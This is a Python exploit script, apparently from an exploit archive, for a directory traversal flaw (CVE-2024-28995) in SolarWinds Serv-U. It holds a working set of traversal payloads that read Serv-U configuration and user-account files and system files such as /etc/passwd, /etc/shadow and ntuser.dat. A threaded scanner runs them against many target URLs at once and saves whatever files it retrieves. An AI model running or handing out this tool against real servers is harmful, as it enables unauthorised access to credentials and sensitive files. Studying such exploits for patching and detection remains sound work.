
7 changes to exploits/shellcodes/ghdb Automic Agent 24.3.0 HF4 - Privilege Escalation Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal Campcodes Online Hospital Management System 1.0 - SQL Injection WordPress Digits Plugin 8.4.6.1 - Authentication Bypass via OTP Bruteforcing Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure
408 lines
No EOL
18 KiB
Python
Executable file
408 lines
No EOL
18 KiB
Python
Executable file
# Exploit Title: SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal
|
|
# Date: 2025-05-28
|
|
# Exploit Author: @ibrahimsql
|
|
# Exploit Author's github: https://github.com/ibrahimsql
|
|
# Vendor Homepage: https://www.solarwinds.com/serv-u-managed-file-transfer-server
|
|
# Software Link: https://www.solarwinds.com/serv-u-managed-file-transfer-server/registration
|
|
# Version: <= 15.4.2 HF1
|
|
# Tested on: Kali Linux 2024.1
|
|
# CVE: CVE-2024-28995
|
|
# Description:
|
|
# SolarWinds Serv-U was susceptible to a directory traversal vulnerability that would allow
|
|
# attackers to read sensitive files on the host machine. This exploit demonstrates multiple
|
|
# path traversal techniques to access Serv-U log files and other system files on both
|
|
# Windows and Linux systems.
|
|
#
|
|
# References:
|
|
# - https://nvd.nist.gov/vuln/detail/cve-2024-28995
|
|
# - https://www.rapid7.com/blog/post/2024/06/11/etr-cve-2024-28995-trivially-exploitable-information-disclosure-vulnerability-in-solarwinds-serv-u/
|
|
# - https://thehackernews.com/2024/06/solarwinds-serv-u-vulnerability-under.html
|
|
|
|
# Requirements: urllib3>=1.26.0 , colorama>=0.4.4 , requests>=2.25.0
|
|
|
|
|
|
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
|
|
import argparse
|
|
import concurrent.futures
|
|
import json
|
|
import os
|
|
import re
|
|
import sys
|
|
import time
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from urllib.parse import urlparse
|
|
|
|
import requests
|
|
from colorama import Fore, Back, Style, init
|
|
|
|
# Initialize colorama
|
|
init(autoreset=True)
|
|
|
|
# Disable SSL warnings
|
|
try:
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
except ImportError:
|
|
pass
|
|
|
|
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
|
|
|
|
BANNER = rf'''
|
|
{Fore.CYAN}
|
|
______ _______ ____ ___ ____ _ _ ____ ___ ___ ___ ____
|
|
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \( _ )/ _ \ / _ \| ___|
|
|
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) / _ \ (_) | (_) |___ \
|
|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ (_) \__, |\__, |___) |
|
|
\____| \_/ |_____| |_____|\___/_____| |_| |_____\___/ /_/ /_/|____/
|
|
{Fore.YELLOW}
|
|
SolarWinds Serv-U Directory Traversal Exploit
|
|
{Fore.RED} CVE-2024-28995 by @ibrahimsql
|
|
{Style.RESET_ALL}
|
|
'''
|
|
|
|
class ScanResult:
|
|
def __init__(self, url, is_vulnerable=False, version=None, os_type=None, file_content=None, path=None):
|
|
self.url = url
|
|
self.is_vulnerable = is_vulnerable
|
|
self.version = version
|
|
self.os_type = os_type
|
|
self.file_content = file_content
|
|
self.path = path
|
|
self.timestamp = time.strftime("%Y-%m-%d %H:%M:%S")
|
|
|
|
def to_dict(self):
|
|
return {
|
|
"url": self.url,
|
|
"is_vulnerable": self.is_vulnerable,
|
|
"version": self.version,
|
|
"os_type": self.os_type,
|
|
"path": self.path,
|
|
"timestamp": self.timestamp
|
|
}
|
|
|
|
def print_banner():
|
|
print(BANNER)
|
|
|
|
def normalize_url(url):
|
|
"""Normalize URL to ensure it has http/https protocol."""
|
|
if not url.startswith('http'):
|
|
url = f"https://{url}"
|
|
return url.rstrip('/')
|
|
|
|
def extract_server_version(headers):
|
|
"""Extract Serv-U version from server headers if available."""
|
|
if 'Server' in headers:
|
|
server_header = headers['Server']
|
|
# Look for Serv-U version pattern
|
|
match = re.search(r'Serv-U/(\d+\.\d+\.\d+)', server_header)
|
|
if match:
|
|
return match.group(1)
|
|
return None
|
|
|
|
def is_vulnerable_version(version):
|
|
"""Check if the detected version is vulnerable (15.4.2 HF1 or lower)."""
|
|
if not version:
|
|
return None
|
|
|
|
try:
|
|
# Split version numbers
|
|
major, minor, patch = map(int, version.split('.'))
|
|
|
|
# Vulnerable if lower than 15.4.2 HF2
|
|
if major < 15:
|
|
return True
|
|
elif major == 15:
|
|
if minor < 4:
|
|
return True
|
|
elif minor == 4:
|
|
if patch <= 2: # We're assuming patch 2 is 15.4.2 HF1 which is vulnerable
|
|
return True
|
|
except:
|
|
pass
|
|
|
|
return False
|
|
|
|
def get_request(url, timeout=15):
|
|
"""Make a GET request to the specified URL."""
|
|
try:
|
|
response = requests.get(url, verify=False, timeout=timeout, allow_redirects=False)
|
|
return response
|
|
except requests.RequestException as e:
|
|
return None
|
|
|
|
def detect_os_type(content):
|
|
"""Detect the operating system type from the file content."""
|
|
if any(indicator in content for indicator in ["root:", "bin:x:", "daemon:", "/etc/", "/home/", "/var/"]):
|
|
return "Linux"
|
|
elif any(indicator in content for indicator in ["[fonts]", "[extensions]", "[Mail]", "Windows", "ProgramData", "Program Files"]):
|
|
return "Windows"
|
|
return None
|
|
|
|
def get_default_payloads():
|
|
"""Return a list of directory traversal payloads specific to CVE-2024-28995."""
|
|
return [
|
|
# Windows payloads - Serv-U specific files
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log"},
|
|
{"path": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt"},
|
|
{"path": "/?InternalDir=\\..\\..\\..\\..\\ProgramData\\RhinoSoft\\Serv-U\\&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt2"},
|
|
{"path": "/?InternalDir=../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt3"},
|
|
{"path": "/?InternalDir=../../../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Deep"},
|
|
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUStartupLog.txt", "name": "Serv-U Startup Log Alt4"},
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.Log", "name": "Serv-U Log"},
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServULog.txt", "name": "Serv-U Log Alt"},
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUErrorLog.txt", "name": "Serv-U Error Log"},
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-ErrorLog.txt", "name": "Serv-U Error Log Alt"},
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.ini", "name": "Serv-U Config"},
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUAdmin.ini", "name": "Serv-U Admin Config"},
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=Users.txt", "name": "Serv-U Users"},
|
|
{"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=UserAccounts.txt", "name": "Serv-U User Accounts"},
|
|
|
|
# Verify Windows with various system files
|
|
{"path": "/?InternalDir=/../../../../windows&InternalFile=win.ini", "name": "Windows ini"},
|
|
{"path": "/?InternalDir=\\..\\..\\..\\..\\windows&InternalFile=win.ini", "name": "Windows ini Alt"},
|
|
{"path": "/?InternalDir=../../../../windows&InternalFile=win.ini", "name": "Windows ini Alt2"},
|
|
{"path": "/?InternalDir=../../../../../../windows&InternalFile=win.ini", "name": "Windows ini Deep"},
|
|
{"path": "/?InternalDir=/./../../../Windows/system.ini", "name": "Windows system.ini"},
|
|
{"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=drivers.ini", "name": "Windows drivers.ini"},
|
|
{"path": "/?InternalDir=/./../../../Windows/System32/drivers/etc/&InternalFile=hosts", "name": "Windows hosts"},
|
|
{"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=config.nt", "name": "Windows config.nt"},
|
|
{"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=ntuser.dat", "name": "Windows ntuser.dat"},
|
|
{"path": "/?InternalDir=/./../../../Windows/boot.ini", "name": "Windows boot.ini"},
|
|
|
|
# Verify Linux with various system files
|
|
{"path": "/?InternalDir=\\..\\..\\..\\..\\etc&InternalFile=passwd", "name": "Linux passwd"},
|
|
{"path": "/?InternalDir=/../../../../etc^&InternalFile=passwd", "name": "Linux passwd Alt"},
|
|
{"path": "/?InternalDir=\\..\\..\\..\\..\\etc/passwd", "name": "Linux passwd Alt2"},
|
|
{"path": "/?InternalDir=../../../../etc&InternalFile=passwd", "name": "Linux passwd Alt3"},
|
|
{"path": "/?InternalDir=../../../../../../etc&InternalFile=passwd", "name": "Linux passwd Deep"},
|
|
{"path": "/?InternalDir=/./../../../etc/&InternalFile=shadow", "name": "Linux shadow"},
|
|
{"path": "/?InternalDir=/./../../../etc/&InternalFile=hosts", "name": "Linux hosts"},
|
|
{"path": "/?InternalDir=/./../../../etc/&InternalFile=hostname", "name": "Linux hostname"},
|
|
{"path": "/?InternalDir=/./../../../etc/&InternalFile=issue", "name": "Linux issue"},
|
|
{"path": "/?InternalDir=/./../../../etc/&InternalFile=os-release", "name": "Linux os-release"}
|
|
]
|
|
|
|
def create_custom_payload(directory, filename):
|
|
"""Create a custom payload with the specified directory and filename."""
|
|
# Try both encoding styles
|
|
payloads = [
|
|
{"path": f"/?InternalDir=/./../../../{directory}&InternalFile={filename}", "name": f"Custom {filename}"},
|
|
{"path": f"/?InternalDir=/../../../../{directory}^&InternalFile={filename}", "name": f"Custom {filename} Alt"},
|
|
{"path": f"/?InternalDir=\\..\\..\\..\\..\\{directory}&InternalFile={filename}", "name": f"Custom {filename} Alt2"}
|
|
]
|
|
return payloads
|
|
|
|
def load_wordlist(wordlist_path):
|
|
"""Load custom paths from a wordlist file."""
|
|
payloads = []
|
|
try:
|
|
with open(wordlist_path, 'r') as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if line and not line.startswith('#'):
|
|
# Check if the line contains a directory and file separated by a delimiter
|
|
if ':' in line:
|
|
directory, filename = line.split(':', 1)
|
|
payloads.extend(create_custom_payload(directory, filename))
|
|
else:
|
|
# Assume it's a complete path
|
|
payloads.append({"path": line, "name": f"Wordlist: {line[:20]}..."})
|
|
return payloads
|
|
except Exception as e:
|
|
print(f"{Fore.RED}[!] Error loading wordlist: {e}{Style.RESET_ALL}")
|
|
return []
|
|
|
|
def scan_target(url, custom_payloads=None):
|
|
"""Scan a target URL for the CVE-2024-28995 vulnerability."""
|
|
url = normalize_url(url)
|
|
result = ScanResult(url)
|
|
|
|
# Try to get server version first
|
|
try:
|
|
response = get_request(url)
|
|
if response and response.headers:
|
|
result.version = extract_server_version(response.headers)
|
|
vulnerable_version = is_vulnerable_version(result.version)
|
|
|
|
if vulnerable_version is False:
|
|
print(f"{Fore.YELLOW}[*] {url} - Serv-U version {result.version} appears to be patched{Style.RESET_ALL}")
|
|
# Still continue scanning as version detection may not be reliable
|
|
except Exception as e:
|
|
pass
|
|
|
|
# Get all payloads to try
|
|
payloads = get_default_payloads()
|
|
if custom_payloads:
|
|
payloads.extend(custom_payloads)
|
|
|
|
# Try each payload
|
|
for payload in payloads:
|
|
full_url = f"{url}{payload['path']}"
|
|
try:
|
|
print(f"{Fore.BLUE}[*] Trying: {payload['name']} on {url}{Style.RESET_ALL}")
|
|
response = get_request(full_url)
|
|
|
|
if response and response.status_code == 200:
|
|
content = response.text
|
|
|
|
# Check if the response contains meaningful content
|
|
if len(content) > 100: # Arbitrary threshold to filter out error pages
|
|
os_type = detect_os_type(content)
|
|
if os_type:
|
|
result.is_vulnerable = True
|
|
result.os_type = os_type
|
|
result.file_content = content
|
|
result.path = payload['path']
|
|
|
|
print(f"{Fore.GREEN}[+] {Fore.RED}VULNERABLE: {url} - {payload['name']} - Detected {os_type} system{Style.RESET_ALL}")
|
|
|
|
# Successful match - no need to try more payloads
|
|
return result
|
|
except Exception as e:
|
|
continue
|
|
|
|
if not result.is_vulnerable:
|
|
print(f"{Fore.RED}[-] Not vulnerable: {url}{Style.RESET_ALL}")
|
|
|
|
return result
|
|
|
|
def scan_multiple_targets(targets, custom_dir=None, custom_file=None, wordlist=None):
|
|
"""Scan multiple targets using thread pool."""
|
|
results = []
|
|
custom_payloads = []
|
|
|
|
# Add custom payloads if specified
|
|
if custom_dir and custom_file:
|
|
custom_payloads.extend(create_custom_payload(custom_dir, custom_file))
|
|
|
|
# Add wordlist payloads if specified
|
|
if wordlist:
|
|
custom_payloads.extend(load_wordlist(wordlist))
|
|
|
|
print(f"{Fore.CYAN}[*] Starting scan of {len(targets)} targets with {len(custom_payloads) + len(get_default_payloads())} payloads{Style.RESET_ALL}")
|
|
|
|
# Use fixed thread count of 10
|
|
with ThreadPoolExecutor(max_workers=10) as executor:
|
|
future_to_url = {executor.submit(scan_target, target, custom_payloads): target for target in targets}
|
|
|
|
for future in as_completed(future_to_url):
|
|
try:
|
|
result = future.result()
|
|
results.append(result)
|
|
except Exception as e:
|
|
print(f"{Fore.RED}[!] Error scanning {future_to_url[future]}: {e}{Style.RESET_ALL}")
|
|
|
|
return results
|
|
|
|
def save_results(results, output_file):
|
|
"""Save scan results to a JSON file."""
|
|
output_data = [result.to_dict() for result in results]
|
|
|
|
try:
|
|
with open(output_file, 'w') as f:
|
|
json.dump(output_data, f, indent=2)
|
|
print(f"{Fore.GREEN}[+] Results saved to {output_file}{Style.RESET_ALL}")
|
|
except Exception as e:
|
|
print(f"{Fore.RED}[!] Error saving results: {e}{Style.RESET_ALL}")
|
|
|
|
def save_vulnerable_content(result, output_dir):
|
|
"""Save the vulnerable file content to a file."""
|
|
if not os.path.exists(output_dir):
|
|
os.makedirs(output_dir)
|
|
|
|
# Create a safe filename from the URL
|
|
parsed_url = urlparse(result.url)
|
|
safe_filename = f"{parsed_url.netloc.replace(':', '_')}.txt"
|
|
output_path = os.path.join(output_dir, safe_filename)
|
|
|
|
try:
|
|
with open(output_path, 'w') as f:
|
|
f.write(f"URL: {result.url}\n")
|
|
f.write(f"Path: {result.path}\n")
|
|
f.write(f"Version: {result.version or 'Unknown'}\n")
|
|
f.write(f"OS Type: {result.os_type or 'Unknown'}\n")
|
|
f.write(f"Timestamp: {result.timestamp}\n")
|
|
f.write("\n--- File Content ---\n")
|
|
f.write(result.file_content)
|
|
|
|
print(f"{Fore.GREEN}[+] Saved vulnerable content to {output_path}{Style.RESET_ALL}")
|
|
except Exception as e:
|
|
print(f"{Fore.RED}[!] Error saving content: {e}{Style.RESET_ALL}")
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="CVE-2024-28995 - SolarWinds Serv-U Directory Traversal Scanner")
|
|
parser.add_argument("-u", "--url", help="Target URL")
|
|
parser.add_argument("-f", "--file", help="File containing a list of URLs to scan")
|
|
parser.add_argument("-d", "--dir", help="Custom directory path to read (e.g., ProgramData/RhinoSoft/Serv-U/)")
|
|
parser.add_argument("-n", "--filename", help="Custom filename to read (e.g., Serv-U-StartupLog.txt)")
|
|
parser.add_argument("-w", "--wordlist", help="Path to wordlist containing custom paths to try")
|
|
parser.add_argument("-o", "--output", help="Output JSON file to save results")
|
|
|
|
args = parser.parse_args()
|
|
|
|
print_banner()
|
|
|
|
# Validate arguments
|
|
if not args.url and not args.file:
|
|
parser.print_help()
|
|
print(f"\n{Fore.RED}[!] Error: Either -u/--url or -f/--file is required{Style.RESET_ALL}")
|
|
sys.exit(1)
|
|
|
|
targets = []
|
|
|
|
# Get targets
|
|
if args.url:
|
|
targets.append(args.url)
|
|
|
|
if args.file:
|
|
try:
|
|
with open(args.file, "r") as f:
|
|
targets.extend([line.strip() for line in f.readlines() if line.strip()])
|
|
except Exception as e:
|
|
print(f"{Fore.RED}[!] Error reading file {args.file}: {e}{Style.RESET_ALL}")
|
|
sys.exit(1)
|
|
|
|
# Deduplicate targets
|
|
targets = list(set(targets))
|
|
|
|
if not targets:
|
|
print(f"{Fore.RED}[!] No valid targets provided.{Style.RESET_ALL}")
|
|
sys.exit(1)
|
|
|
|
print(f"{Fore.CYAN}[*] Loaded {len(targets)} target(s){Style.RESET_ALL}")
|
|
|
|
# Set output file
|
|
output_file = args.output or f"cve_2024_28995_results_{time.strftime('%Y%m%d_%H%M%S')}.json"
|
|
|
|
# Start scanning
|
|
results = scan_multiple_targets(targets, args.dir, args.filename, args.wordlist)
|
|
|
|
# Process results
|
|
vulnerable_count = sum(1 for result in results if result.is_vulnerable)
|
|
|
|
print(f"\n{Fore.CYAN}[*] Scan Summary:{Style.RESET_ALL}")
|
|
print(f"{Fore.CYAN}[*] Total targets: {len(results)}{Style.RESET_ALL}")
|
|
print(f"{Fore.GREEN if vulnerable_count > 0 else Fore.RED}[*] Vulnerable targets: {vulnerable_count}{Style.RESET_ALL}")
|
|
|
|
# Save results
|
|
save_results(results, output_file)
|
|
|
|
# Save vulnerable file contents
|
|
for result in results:
|
|
if result.is_vulnerable and result.file_content:
|
|
save_vulnerable_content(result, "vulnerable_files")
|
|
|
|
print(f"\n{Fore.GREEN}[+] Scan completed successfully!{Style.RESET_ALL}")
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
main()
|
|
except KeyboardInterrupt:
|
|
print(f"\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}")
|
|
sys.exit(0)
|
|
except Exception as e:
|
|
print(f"\n{Fore.RED}[!] An error occurred: {e}{Style.RESET_ALL}")
|
|
sys.exit(1) |